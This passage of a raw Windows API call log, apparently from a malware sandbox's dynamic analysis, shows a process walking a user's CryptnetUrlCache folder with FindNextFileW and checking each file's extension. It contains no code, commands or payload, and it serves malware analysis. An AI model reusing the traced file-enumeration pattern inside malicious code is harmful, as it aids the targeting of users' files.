ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0272.300] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0272.300] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0272.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0272.301] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0272.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0272.301] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0272.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0272.301] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0272.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0272.301] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0272.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0272.301] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0272.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0272.301] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0272.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0272.301] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0272.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0272.302] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0272.302] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0272.302] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0272.302] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0272.302] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0272.302] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0272.302] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0272.302] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0272.302] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0272.302] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0272.302] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0272.302] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0272.302] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0272.302] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0272.302] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0272.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0272.305] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0272.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0272.305] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0272.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0272.305] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0272.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0272.305] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0272.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0272.305] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0272.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0272.305] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0272.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0272.305] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0272.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0272.306] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0272.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0272.306] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0272.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0272.306] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0272.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0272.306] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0272.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0272.306] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0272.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0272.306] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0272.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0272.306] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0272.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 